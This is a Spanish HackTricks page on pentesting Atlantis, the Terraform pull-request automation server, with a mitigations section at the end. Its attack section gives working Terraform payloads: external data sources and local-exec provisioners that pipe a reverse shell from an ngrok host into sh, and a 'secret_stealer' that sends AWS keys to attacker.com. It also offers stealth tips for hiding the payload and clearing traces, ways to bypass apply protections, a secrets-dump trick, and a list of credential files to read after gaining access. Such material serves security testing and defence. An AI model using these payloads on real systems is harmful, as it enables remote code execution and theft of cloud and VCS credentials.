Atlantis Security

Aprende a hackear AWS desde cero hasta convertirte en un héroe con htARTE (Experto en Equipo Rojo de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Si deseas ver tu empresa anunciada en HackTricks o descargar HackTricks en PDF ¡Consulta los PLANES DE SUSCRIPCIÓN!
Obtén la merchandising oficial de PEASS & HackTricks
Descubre La Familia PEASS, nuestra colección exclusiva de NFTs
Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦 @hacktricks_live.
Comparte tus trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Información Básica

Básicamente, Atlantis te ayuda a ejecutar terraform desde solicitudes de extracción de tu servidor git.

Laboratorio Local

Ve a la página de lanzamientos de atlantis en https://github.com/runatlantis/atlantis/releases y descarga la que te convenga.
Crea un token personal (con acceso al repositorio) de tu usuario de github
Ejecuta ./atlantis testdrive y creará un repositorio de demostración que puedes usar para comunicarte con atlantis
Puedes acceder a la página web en 127.0.0.1:4141

Acceso a Atlantis

Credenciales del Servidor Git

Atlantis admite varios hosts de git como Github, Gitlab, Bitbucket y Azure DevOps. Sin embargo, para acceder a los repositorios en esas plataformas y realizar acciones, necesita tener algunos privilegios concedidos (al menos permisos de escritura). La documentación recomienda crear un usuario en estas plataformas específicamente para Atlantis, pero algunas personas podrían usar cuentas personales.

En cualquier caso, desde la perspectiva de un atacante, la cuenta de Atlantis va a ser muy interesante de comprometer.

Webhooks

Atlantis utiliza opcionalmente Secretos de Webhook para validar que los webhooks que recibe de tu host de Git son legítimos.

Una forma de confirmar esto sería permitir que las solicitudes provengan solo de las IPs de tu host de Git, pero una forma más fácil es usar un Secreto de Webhook.

Ten en cuenta que a menos que uses un servidor privado de github o bitbucket, deberás exponer los puntos finales de webhook a Internet.

Atlantis va a estar exponiendo webhooks para que el servidor git pueda enviarle información. Desde la perspectiva de un atacante, sería interesante saber si puedes enviarle mensajes.

Credenciales del Proveedor

Desde la documentación:

Atlantis ejecuta Terraform simplemente ejecutando los comandos terraform plan y apply en el servidor donde está alojado Atlantis. Al igual que cuando ejecutas Terraform localmente, Atlantis necesita credenciales para tu proveedor específico.

Depende de ti cómo proporcionar credenciales para tu proveedor específico a Atlantis:

El Chart de Helm de Atlantis Helm Chart y el Módulo AWS Fargate Module tienen sus propios mecanismos para las credenciales del proveedor. Lee sus documentaciones.
Si estás ejecutando Atlantis en la nube, muchas nubes tienen formas de dar acceso a la API de la nube a las aplicaciones que se ejecutan en ellas, por ejemplo:
Roles de EC2 de AWS (Buscar "EC2 Role")
Cuentas de Servicio de Instancia de GCE
Muchos usuarios establecen variables de entorno, por ejemplo, AWS_ACCESS_KEY, donde se está ejecutando Atlantis.
Otros crean los archivos de configuración necesarios, por ejemplo, ~/.aws/credentials, donde se está ejecutando Atlantis.
Usa el Proveedor de HashiCorp Vault para obtener credenciales del proveedor.

El contenedor donde Atlantis está ejecutándose probablemente contendrá credenciales privilegiadas para los proveedores (AWS, GCP, Github...) que Atlantis está gestionando a través de Terraform.

Página Web

Por defecto, Atlantis ejecutará una página web en el puerto 4141 en localhost. Esta página solo te permite habilitar/deshabilitar la aplicación de atlantis y verificar el estado del plan de los repositorios y desbloquearlos (no permite modificar cosas, por lo que no es muy útil).

Probablemente no la encontrarás expuesta a Internet, pero parece que por defecto no se necesitan credenciales para acceder (y si se necesitan, atlantis:atlantis son las predeterminadas).

Configuración del Servidor

La configuración del servidor atlantis se puede especificar a través de banderas de línea de comandos, variables de entorno, un archivo de configuración o una combinación de los tres.

Puedes encontrar aquí la lista de banderas admitidas por el servidor Atlantis
Puedes encontrar aquí cómo transformar una opción de configuración en una variable de entorno

Los valores se eligen en este orden:

Banderas
Variables de Entorno
Archivo de Configuración

Ten en cuenta que en la configuración podrías encontrar valores interesantes como tokens y contraseñas.

Configuración de Repositorios

Algunas configuraciones afectan cómo se gestionan los repositorios. Sin embargo, es posible que cada repositorio requiera ajustes diferentes, por lo que hay formas de especificar cada repositorio. Este es el orden de prioridad:

Archivo /atlantis.yml del repositorio. Este archivo se puede utilizar para especificar cómo atlantis debe tratar el repositorio. Sin embargo, por defecto, algunas claves no se pueden especificar aquí sin algunas banderas que lo permitan.
Probablemente sea necesario permitirlo con banderas como allowed_overrides o allow_custom_workflows
Configuración del Lado del Servidor: Puedes pasarla con la bandera --repo-config y es un yaml que configura nuevos ajustes para cada repositorio (admite regexes)
Valores predeterminados

Protecciones de PR

Atlantis permite indicar si deseas que el PR sea aprobado por otra persona (incluso si no está configurado en la protección de la rama) y/o sea fusionable (protecciones de rama aprobadas) antes de ejecutar apply. Desde un punto de vista de seguridad, se recomienda configurar ambas opciones.

En caso de que allowed_overrides sea True, esta configuración puede ser sobrescrita en cada proyecto por el archivo /atlantis.yml.

Scripts

La configuración del repositorio puede especificar scripts para ejecutar antes (pre workflow hooks) y después (post workflow hooks) de que se ejecute un flujo de trabajo.

No hay ninguna opción que permita especificar estos scripts en el archivo /atlantis.yml del repositorio.

Flujo de trabajo

En la configuración del repositorio (configuración del lado del servidor) puedes especificar un nuevo flujo de trabajo predeterminado, o crear nuevos flujos de trabajo personalizados. También puedes especificar qué repositorios pueden acceder a los nuevos generados. Luego, puedes permitir que el archivo atlantis.yaml de cada repositorio especifique el flujo de trabajo a utilizar.

Si la bandera de configuración del lado del servidor allow_custom_workflows está configurada como True, los flujos de trabajo pueden ser especificados en el archivo atlantis.yaml de cada repositorio. También es potencialmente necesario que allowed_overrides especifique también workflow para sobrescribir el flujo de trabajo que se va a utilizar. Esto básicamente dará RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repositorio.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Verificación de Políticas con Conftest

Atlantis admite la ejecución de políticas de conftest en el lado del servidor contra la salida del plan. Los casos de uso comunes para utilizar este paso incluyen:

Denegar el uso de una lista de módulos
Afirmar atributos de un recurso en el momento de la creación
Detectar eliminaciones no intencionales de recursos
Prevenir riesgos de seguridad (por ejemplo, exponer puertos seguros al público)

Puedes ver cómo configurarlo en la documentación.

Comandos de Atlantis

En la documentación puedes encontrar las opciones que puedes utilizar para ejecutar Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Ataques

Si durante la explotación encuentras este error: Error: Error acquiring the state lock

Puedes solucionarlo ejecutando:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Modificación de configuración en nueva PR

Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes ejecutar atlantis plan (o tal vez se ejecute automáticamente) podrás ejecutar código de forma remota dentro del servidor de Atlantis.

Puedes lograr esto haciendo que Atlantis cargue una fuente de datos externa. Simplemente coloca un payload como el siguiente en el archivo main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Ataque más sigiloso

Puedes realizar este ataque de una manera aún más sigilosa, siguiendo estas sugerencias:

En lugar de agregar la reverse shell directamente al archivo de terraform, puedes cargar un recurso externo que contenga la reverse shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Puedes encontrar el código de rev shell en https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

En el recurso externo, usa la característica ref para ocultar el código de rev shell de terraform en una rama dentro del repositorio, algo como: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
En lugar de crear un PR a master para activar Atlantis, crea 2 ramas (test1 y test2) y crea un PR de una a la otra. Cuando hayas completado el ataque, simplemente elimina el PR y las ramas.

Atlantis plan Secrets Dump

Puedes filtrar secretos utilizados por terraform ejecutando atlantis plan (terraform plan) colocando algo como esto en el archivo de terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis aplica RCE - Modificación de configuración en nueva PR

Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes ejecutar atlantis apply, podrás realizar una RCE dentro del servidor de Atlantis.

Sin embargo, generalmente necesitarás evadir algunas protecciones:

Fusionable: Si esta protección está configurada en Atlantis, solo podrás ejecutar atlantis apply si la PR es fusionable (lo que significa que la protección de la rama debe ser evadida).
Consulta posibles bypasses de protecciones de rama
Aprobado: Si esta protección está configurada en Atlantis, otro usuario debe aprobar la PR antes de que puedas ejecutar atlantis apply
Por defecto, puedes abusar del token de Gitbot para evadir esta protección

Ejecutando terraform apply en un archivo Terraform malicioso con local-exec. Solo necesitas asegurarte de que algún payload como los siguientes termine en el archivo main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Sigue las sugerencias de la técnica anterior para realizar este ataque de una manera más sigilosa.

Inyección de Parámetros de Terraform

Cuando se ejecuta atlantis plan o atlantis apply, terraform se ejecuta en segundo plano, puedes pasar comandos a terraform desde atlantis comentando algo así:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Algo que puedes pasar son variables de entorno que podrían ser útiles para evadir algunas protecciones. Consulta las variables de entorno de Terraform en https://www.terraform.io/cli/config/environment-variables

Flujo de Trabajo Personalizado

Ejecutar comandos de compilación personalizados maliciosos especificados en un archivo atlantis.yaml. Atlantis utiliza el archivo atlantis.yaml de la rama de la solicitud de extracción, no de master. Esta posibilidad fue mencionada en una sección anterior:

Si la bandera de configuración del lado del servidor server side config está establecida en True, los flujos de trabajo pueden ser especificados en el archivo atlantis.yaml de cada repositorio. También potencialmente se necesita que allowed_overrides especifique también workflow para sobrescribir el flujo de trabajo que se va a utilizar.

Esto básicamente dará RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repositorio.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Bypass plan/apply protections

Si la bandera de configuración del lado del servidor allowed_overrides tiene configurados los apply_requirements, es posible que un repositorio modifique las protecciones de planificación/ejecución para evitarlas.

repos:
- id: /.*/
apply_requirements: []

Secuestro de PR

Si alguien envía comentarios atlantis plan/apply en tus pull requests válidos, hará que terraform se ejecute cuando no lo desees.

Además, si no tienes configurado en la protección de la rama para pedir reevaluar cada PR cuando se realiza un nuevo commit en ella, alguien podría escribir configuraciones maliciosas (ver escenarios anteriores) en la configuración de terraform, ejecutar atlantis plan/apply y obtener RCE.

Esta es la configuración en las protecciones de rama de Github:

Secreto de Webhook

Si logras robar el secreto del webhook utilizado o si no se está utilizando ningún secreto de webhook, podrías llamar al webhook de Atlantis e invocar comandos de atlantis directamente.

Bitbucket

Bitbucket Cloud no admite secretos de webhook. Esto podría permitir a los atacantes falsificar solicitudes desde Bitbucket. Asegúrate de permitir solo las IP de Bitbucket.

Esto significa que un atacante podría hacer solicitudes falsas a Atlantis que parecen provenir de Bitbucket.
Si estás especificando --repo-allowlist, entonces solo podrían falsificar solicitudes relacionadas con esos repositorios, por lo que el daño máximo que podrían hacer sería planificar/aplicar en tus propios repositorios.
Para evitar esto, permite las direcciones IP de Bitbucket (ver direcciones IP salientes de IPv4).

Post-Explotación

Si lograste acceder al servidor o al menos obtuviste un LFI, hay algunas cosas interesantes que deberías intentar leer:

/home/atlantis/.git-credentials Contiene credenciales de acceso a VCS
/atlantis-data/atlantis.db Contiene credenciales de acceso a VCS con más información
/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Archivo de estado de Terraform
Ejemplo: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ Variables de entorno
/proc/[2-20]/cmdline Línea de comandos de atlantis server (puede contener datos sensibles)

Mitigaciones

No Utilices en Repositorios Públicos

Porque cualquiera puede comentar en pull requests públicos, incluso con todas las mitigaciones de seguridad disponibles, sigue siendo peligroso ejecutar Atlantis en repositorios públicos sin una configuración adecuada de los ajustes de seguridad.

No Utilices `--allow-fork-prs`

Si estás ejecutando en un repositorio público (lo cual no se recomienda, ver arriba) no deberías establecer --allow-fork-prs (por defecto es falso) porque cualquiera puede abrir un pull request desde su fork a tu repositorio.

`--repo-allowlist`

Atlantis requiere que especifiques una lista blanca de repositorios desde los cuales aceptará webhooks a través de la bandera --repo-allowlist. Por ejemplo:

Repositorios específicos: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
Toda tu organización: --repo-allowlist=github.com/runatlantis/*
Todos los repositorios en tu instalación de GitHub Enterprise: --repo-allowlist=github.tuempresa.com/*
Todos los repositorios: --repo-allowlist=*. Útil cuando estás en una red protegida pero peligroso sin establecer también un secreto de webhook.

Esta bandera asegura que tu instalación de Atlantis no esté siendo utilizada con repositorios que no controlas. Consulta atlantis server --help para más detalles.

Proteger la Planificación de Terraform

Si los atacantes que envían pull requests con código Terraform malicioso están en tu modelo de amenazas, debes ser consciente de que las aprobaciones de terraform apply no son suficientes. Es posible ejecutar código malicioso en un terraform plan utilizando el origen de datos external o especificando un proveedor malicioso. Este código podría exfiltrar tus credenciales.

Para prevenir esto, podrías:

Incluir proveedores en la imagen de Atlantis o en el host y denegar la salida en producción.
Implementar el protocolo del registro de proveedores internamente y denegar la salida pública, de esta manera controlas quién tiene acceso de escritura al registro.
Modificar el configuración del repositorio del lado del servidor plan para validar el uso de proveedores o fuentes de datos no permitidos o PRs de usuarios no permitidos. También podrías agregar validaciones adicionales en este punto, por ejemplo, requerir un "ok" en el PR antes de permitir que el plan continúe. Conftest podría ser útil aquí.

Secretos de Webhook

Atlantis debe ejecutarse con secretos de Webhook configurados a través de las variables de entorno $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Incluso con la bandera --repo-allowlist establecida, sin un secreto de webhook, los atacantes podrían hacer solicitudes a Atlantis haciéndose pasar por un repositorio que está en la lista blanca. Los secretos de webhook aseguran que las solicitudes de webhook realmente provengan de tu proveedor de VCS (GitHub o GitLab).

Si estás utilizando Azure DevOps, en lugar de secretos de webhook, agrega un nombre de usuario y contraseña básicos.

Autenticación Básica de Azure DevOps

Azure DevOps admite enviar un encabezado de autenticación básica en todos los eventos de webhook. Esto requiere usar una URL HTTPS para la ubicación de tu webhook.

SSL/HTTPS

Si estás utilizando secretos de webhook pero tu tráfico es a través de HTTP, los secretos de webhook podrían ser robados. Habilita SSL/HTTPS utilizando las banderas --ssl-cert-file y --ssl-key-file.

Habilitar Autenticación en el Servidor Web de Atlantis

Es muy recomendable habilitar la autenticación en el servicio web. Habilita BasicAuth usando --web-basic-auth=true y configura un nombre de usuario y una contraseña usando las banderas --web-username=tuUsuario y --web-password=tuContraseña.

También puedes pasar estos como variables de entorno ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=tuUsuario y ATLANTIS_WEB_PASSWORD=tuContraseña.

Referencias

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!